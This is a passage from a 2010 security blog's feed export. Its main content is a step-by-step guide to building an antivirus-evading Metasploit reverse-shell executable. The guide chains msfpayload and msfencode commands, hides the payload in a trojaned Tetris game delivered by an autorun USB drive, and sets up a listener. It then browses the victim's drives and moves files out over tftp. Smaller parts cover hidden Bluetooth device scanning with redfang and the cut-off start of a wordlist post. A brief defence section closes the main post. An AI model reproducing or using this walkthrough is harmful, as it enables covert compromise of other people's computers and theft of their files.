/&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;redfang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;----------&lt;/b&gt;&lt;/div&gt;fang checks for 'hidden' bluetooth devices by scanning a range of bluetooth addresses similar to the above tbsearch but somewhat more refined and expanded.&lt;br /&gt;fang appears to work better than tbsearch in detecting hidden devices using multuiple interfaces.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;cd /pentest/bluetooth/redfang/&lt;/div&gt;&lt;div style="color: lime;"&gt;./fang -h&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/fang-h.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/fang-h.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The below example is only testing the last 2 digits of the bdaddr of my test phone (set to hidden) using 4 bluetooth interfaces as above with tbsearch.&lt;br /&gt;&lt;span style="color: lime;"&gt;./fang -r 6C9B02FF9700-6C9B02FF973F -n 4&lt;/span&gt;&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/fang-r.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/fang-r.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;A word of warning, bluetooth and WiFi both use part of the 2.4 GHz band .. carrying out this attack with this many dongles basically caused my wireless network to suffer considerably.. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is the easy stuff, now there is a whole lot more to get my head around, but hopefully the motivation will continue to flow as I have to say, for the moment bluetooth feels a bit like ; &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/omgwtf-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="299" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/omgwtf-1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Some reference material ;&lt;br /&gt;&lt;br /&gt;http://www.backtrack-linux.org/forums/backtrack-howtos/2583-dr_greens-bluesnarfer-bluebugger-guides-old-fourm.html&lt;br /&gt;http://www.sans.edu/resources/securitylab/bluetooth.php&lt;br /&gt;&lt;br /&gt;more to be added..please leave a comment if you have a link to helpful info.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-67487641848714317?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/67487641848714317/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2010/09/bluetooth-mayhem.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/67487641848714317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/67487641848714317'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2010/09/bluetooth-mayhem.html' title='Bluetooth mayhem'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-8146603072155795655</id><published>2010-05-31T15:48:00.286+02:00</published><updated>2011-04-28T01:02:55.493+02:00</updated><title type='text'>Creating an executable with Metasploit and gaining access to target PC</title><content type='html'>My goal for this project was to create a reverse_tcp payload and have this executed on the target pc, byassing the installed antivirus and giving full access to the target pc.&lt;br /&gt;&lt;br /&gt;This of course based on being on the network and having a valid IP address.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;Target PC&lt;/div&gt;&lt;div style="color: yellow;"&gt;-----------&lt;/div&gt;- Windows XP Home SP3 Fully Patched&lt;br /&gt;&amp;nbsp; (also tested on Windows XP Profressional SP 3 fully patched)&amp;nbsp; &lt;br /&gt;- AntiVirus fully upto date&lt;br /&gt;- Running Windows Firewall only&lt;br /&gt;&lt;br /&gt;I more or less got where I wanted to be, but had trouble getting any meterpreter payloads passed AntiVirus.&lt;br /&gt;&lt;b&gt;&lt;i&gt;EDIT&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;-------&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;I did finally manage to get meterpreter past the AV, it is indeed a matter of trying different variations/combinations of various encoders.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Steps taken were as follows ;&lt;br /&gt;&amp;gt; Create an exe file with msfpayload that will create a reverse_tcp connection which will try to connect back to&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; the 'attackers' machine.&lt;br /&gt;&amp;gt; Use various encoding methods on the exe with msfencode to make the file less obvious to AV&lt;br /&gt;&lt;br /&gt;&amp;gt; Use some social engineering to get the target to run my executable.&lt;br /&gt;&lt;br /&gt;Although AntiVirus now mostly pick up the metasploit payloads, the  methods and encoding are evolving and it is interesting to see the  methods involved.&lt;br /&gt;I have experienced that the windows/meterpreter/reverse_tcp&amp;nbsp;payloads are more frequently detected than the windows/shell/reverse_tcp payload. &lt;br /&gt;&lt;br /&gt;Different combinations of encoding may help, a bit of trial and error required !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PAYLOAD&lt;br /&gt;-------------&lt;br /&gt;&lt;span style="color: yellow;"&gt;windows/shell/reverse_tcp&lt;/span&gt; &amp;nbsp;&amp;nbsp; the payload&lt;br /&gt;&lt;span style="color: yellow;"&gt;LHOST=192.168.1.105&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; the local IP the payload will try to connect back to&lt;br /&gt;&lt;span style="color: yellow;"&gt;LPORT=5632&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; the local port the connection will be listening on&lt;br /&gt;&lt;span style="color: yellow;"&gt;R&amp;nbsp;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the command to tell msfpayload to output as raw data&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ENCODING&lt;br /&gt;&lt;i&gt;./msfencode -h for options &lt;/i&gt;&lt;br /&gt;&lt;i&gt;./msfencode -l&amp;nbsp; to list available encoders&lt;/i&gt;&lt;br /&gt;----------------------------------------&lt;br /&gt;&lt;span style="color: yellow;"&gt;-e&lt;/span&gt;&amp;nbsp; to specify the encoder to use&lt;br /&gt;&lt;span style="color: yellow;"&gt;-c&lt;/span&gt;&amp;nbsp; to specify the number of&amp;nbsp; times to encode the data&lt;br /&gt;&lt;span style="color: yellow;"&gt;-t&lt;/span&gt;&amp;nbsp; to specify the format (in this example &lt;span style="color: yellow;"&gt;raw &lt;/span&gt;and for the final step &lt;span style="color: yellow;"&gt;exe&lt;/span&gt;) &lt;br /&gt;&lt;span style="color: yellow;"&gt;-x&lt;/span&gt;&amp;nbsp; to specify the win32 exe template to  use&lt;br /&gt;&lt;br /&gt;I am using the backslash &lt;span style="color: lime;"&gt;\&lt;/span&gt; so I can continue the code on another line for clarity's sake. &lt;br /&gt;I have copied notepad.exe (from C:\WINDOWS\system32\) to the framework3 directory.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;cd /pentest/exploits/framework3/&lt;/div&gt;&lt;div style="color: lime;"&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;./msfpayload windows/shell/reverse_tcp LHOST=192.168.1.105 LPORT=5632 R | \&lt;/div&gt;&lt;div style="color: lime;"&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;./msfencode -e x86/shikata_ga_nai -c 5 -t raw | \&lt;br /&gt;./msfencode -e x86/countdown -c 2 -t raw | \&lt;/div&gt;&lt;div style="color: lime;"&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;./msfencode -e x86/shikata_ga_nai -c 5 -t raw | \&lt;/div&gt;&lt;div style="color: lime;"&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;./msfencode -x notepad.exe -t exe -e x86/call4_dword_xor -c 2 -o payload.exe&lt;/div&gt;&lt;div style="color: lime;"&gt;ls -la | grep exe &lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf01.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="441" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf01.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In combination with the &lt;span style="color: yellow;"&gt;-x&lt;/span&gt; command in msfencode, you can also add the &lt;span style="color: yellow;"&gt;-k&lt;/span&gt; option which will run the template exe in a new thread.&lt;br /&gt;(So if included in the above example, would also open notepad.exe on the victim's pc when the payload is run).&lt;br /&gt;This does however change the size of the executable from the original legitimate executable and may give AV more cause to flag the exe file as suspicious. &lt;br /&gt;In this case I have opted to not use the -k option to keep the file sizes identical.&lt;br /&gt;&lt;br /&gt;So how did we do concerning the antivirus detection ? &lt;br /&gt;&lt;div style="color: red;"&gt;&lt;i&gt;If you upload the payload to for instance VirusTotal.com for verification, you have an excellent chance that the file signatures will be forwarded to various AV vendors and updated accordingly in as quick as a day or two.. rendering that particular file / encoding useless..&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;To test this case, I simply ensured that virus definitions were updated on the system and ran the AV scans locally.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/avg-scan.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="476" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/avg-scan.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/clamwin-result.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/clamwin-result.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So far so good.. !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now a bit of Social Engineering based on the inherent curiosity and playfulness of mankind ..&lt;br /&gt;to get the executable run on the target pc.&lt;br /&gt;&lt;br /&gt;There are several ways to do this, in this case my method was as follows ;&lt;br /&gt;&amp;gt; Renamed the payload.exe to tetris.exe&lt;br /&gt;&amp;gt; Binding the tetris.exe with an exe which runs a tetris game, named the new exe &lt;i&gt;Tetris.exe&lt;/i&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;i&gt;Using &lt;b style="color: yellow;"&gt;IExpress&lt;/b&gt; (readily installed on Win XP) to package the 2 executables.&lt;/i&gt;&lt;br /&gt;&amp;gt; Replaced the icon of the tetris.exe (with payload) with the original icon extracted from the original executable.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;i&gt; Used &lt;b style="color: yellow;"&gt;IcoFX&lt;/b&gt; for both the extraction and replacing of the icons.&lt;/i&gt;&lt;br /&gt;&amp;gt; Renamed a USB flash drive to &lt;i&gt;TETRIS&lt;/i&gt;, saved the tetris.exe to root of the usb drive.&lt;br /&gt;&amp;gt; Created an autorun file to open up the Tetris.exe on insertion and saved to root of the usb drive&lt;br /&gt;&amp;nbsp;&amp;nbsp; (only works if autorun enabled of course)&lt;br /&gt;&lt;br /&gt;Something similar can also be done with a U3 USB flash drive;&lt;br /&gt;&amp;gt; Using &lt;i&gt;&lt;b style="color: yellow;"&gt;Universal Customizer&lt;/b&gt;&lt;/i&gt; create a custom ISO image (ISOCreate.cmd) containing exe and autorun.inf file.&lt;br /&gt;&amp;gt; Run the Universal Customizer to have the standard U3 ISO replaced with the custom ISO.&lt;br /&gt;Now when placed in a PC with autorun enabled, there is no interaction needed to start the exe file.&amp;nbsp; &lt;br /&gt;(So could simply place the payload in the iso section and be done with it, but where's the fun in that ?!)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now we start listening for possible incoming connections on the 'attacker' pc, hand out the USB to possible target and wait.&lt;br /&gt;&lt;br /&gt;To start listening for incoming connections you can either use the msfconsole or msfcli,&lt;br /&gt;I will use msfcli ;&lt;br /&gt;&lt;div style="color: lime;"&gt;cd /pentest/exploits/framework3/&lt;/div&gt;&lt;div style="color: lime;"&gt;./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp&amp;nbsp; \&lt;br /&gt;LHOST=192.168.1.100 LPORT=5632 E&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf04.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="268" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf04.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When the USB is plugged in it will open the usual menu (if autorun enabled) asking if you would like to&lt;br /&gt;open the folder or open the file.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/autorun-menu.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/autorun-menu.jpg" width="302" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;With the U3 USB flashdrive method, it will open the Tetris.exe file directly (if autorun enabled).&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Wait for target to play the game, sit back and wait for them to close the  game so the payload will be executed.&lt;br /&gt;(The options in IExpress need one program to be run before the other)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When that happens, you should get a shell and it is basically Game Over for the victim.&lt;br /&gt;&lt;br /&gt;Listing all drives ;&lt;br /&gt;&lt;div style="color: lime;"&gt;fsutil fsinfo  drives&lt;/div&gt;Check  what type of drive it is;&lt;br /&gt;&lt;span style="color: lime;"&gt;fsutil fsinfo drivetype D:&lt;/span&gt;&lt;br /&gt;Just to get the info of a drive;&lt;br /&gt;&lt;div style="color: lime;"&gt;fsutil fsinfo volumeinfo  D:\&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf02A.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="442" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf02A.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Of course there are a myriad of options to use to check information on the drives.&lt;br /&gt;&lt;br /&gt;Using the usual to get drive names / labels and list of fiolders / files&lt;br /&gt;&lt;div style="color: lime;"&gt;dir C:\&lt;/div&gt;&lt;div style="color: lime;"&gt;dir D:\&lt;/div&gt;&lt;div style="color: lime;"&gt;dir E:\&lt;/div&gt;&lt;br /&gt;For a more targeted listing, go to directory of interest and list based on filetype; doc / zip / jpg / avi / etc etc&lt;br /&gt;&lt;span style="color: lime;"&gt;dir /s/p/b \*.avi&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To enable downloading and uploading in the shell you can use TFTPD.&lt;br /&gt;Start TFTPD on your backtrack machine&lt;br /&gt;(K Menu -- Services -- TFTP -- Start TFTPD) &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf05.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf05.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To 'download' from the victim machine ;&lt;br /&gt;&lt;span style="color: lime;"&gt;tftp -i 192.168.1.105 put filename&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf06.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="442" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf06.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf07.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="208" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf07.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To 'upload' to the victim machine&lt;br /&gt;&lt;span style="color: lime;"&gt;tftp -i 192.168.1.105 get filename&lt;/span&gt; (from backtrack directory /tmp/)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf08.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="442" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msf08.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;So how to protect against such intrusions ?&amp;nbsp;&lt;/b&gt;&lt;/div&gt;======================================&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Turn autorun off on your windows system &lt;/div&gt;The below link gives information on how to do this on multiple systems.&lt;br /&gt;&lt;a href="http://support.microsoft.com/kb/967715/en-us"&gt;Disable the Autorun functionality in Windows&lt;/a&gt;&lt;br /&gt;Of course it goes without saying that you should always be careful of what you plug into and run on your system, but truth be told, we all actually have done this at one time and one doesnt always have a virtual machine handy to test the process out on first..&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Ensure AntiVirus deifinitions are uptodate&lt;/div&gt;Although in this example the exe bypassed the AV, it will not do so for long, its only a matter of time before&lt;br /&gt;AV picks up on the signature, so always make sure your AV definitions are upto date.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;Run a firewall that monitors &lt;b&gt;outgoing&lt;/b&gt; connections in addition to &lt;b&gt;incoming &lt;/b&gt;connections.&lt;/div&gt;Having a firewall installed that monitors &lt;b&gt;outgoing&lt;/b&gt; connections would have prevented the reverse_tcp session from getting out without any notifications.&lt;br /&gt;Windows firewall only monitors &lt;b&gt;incoming&lt;/b&gt; connections, so having the reverse_tcp connecting out from the victim system does not raise any alarms.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;ZoneAlarm Firewall for instance will popup and advise that ***.exe is trying to connect to ***.&lt;br /&gt;That should set a few alarms off with the user.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;Linkage on the information and the tools used ;&lt;/div&gt;========================================&lt;br /&gt;&lt;br /&gt;Video by IronGeek on the packaging of executables with IExpress.&lt;br /&gt;&lt;a href="http://www.blogger.com/%20http://www.irongeek.com/i.php?page=videos/binders-iexpress-trojans"&gt; http://www.irongeek.com/i.php?page=videos/binders-iexpress-trojans&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;IcoFX Homepage&lt;br /&gt;&lt;a href="http://icofx.ro/"&gt;http://icofx.ro/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Univeral Customizer information&lt;br /&gt;&lt;a href="http://www.hak5.org/w/index.php/Universal_U3_LaunchPad_Hacker"&gt;http://www.hak5.org/w/index.php/Universal_U3_LaunchPad_Hacker&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;A video showing the process as described above but with some slight changes&lt;/b&gt;&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;as regarding a meterpreter session and using a different exe as template.&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://blip.tv/file/3741812"&gt;&lt;b&gt;http://blip.tv/file/3741812&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;or&lt;/b&gt;&lt;br /&gt;&lt;b&gt; &lt;/b&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/12484065"&gt;&lt;b&gt;http://vimeo.com/12484065&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt; &lt;/b&gt;&lt;br /&gt;&lt;b&gt;or&lt;/b&gt;&lt;br /&gt;&lt;b&gt; &lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.youtube.com/watch?v=C0px_dczD6I"&gt;http://www.youtube.com/watch?v=C0px_dczD6I&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt; &lt;/b&gt;&lt;br /&gt;&lt;b&gt; &lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-8146603072155795655?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/8146603072155795655/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2010/05/creating-backdoored-exe-with-metasploit.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/8146603072155795655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/8146603072155795655'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2010/05/creating-backdoored-exe-with-metasploit.html' title='Creating an executable with Metasploit and gaining access to target PC'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-5123871224354533451</id><published>2010-04-02T20:37:00.117+02:00</published><updated>2011-06-12T23:55:19.391+02:00</updated><title type='text'>Creating wordlists with crunch v2.4</title><content type='html'>&lt;div style="color: red;"&gt;&lt;b&gt;Edit 12-06-2011&lt;/b&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;b&gt;crunch v3.0 is now included in the BT repositories,&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;v3.0 has many big fixes and additional functionality, some items/switches have however been altered.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Therefor, this post is superceded 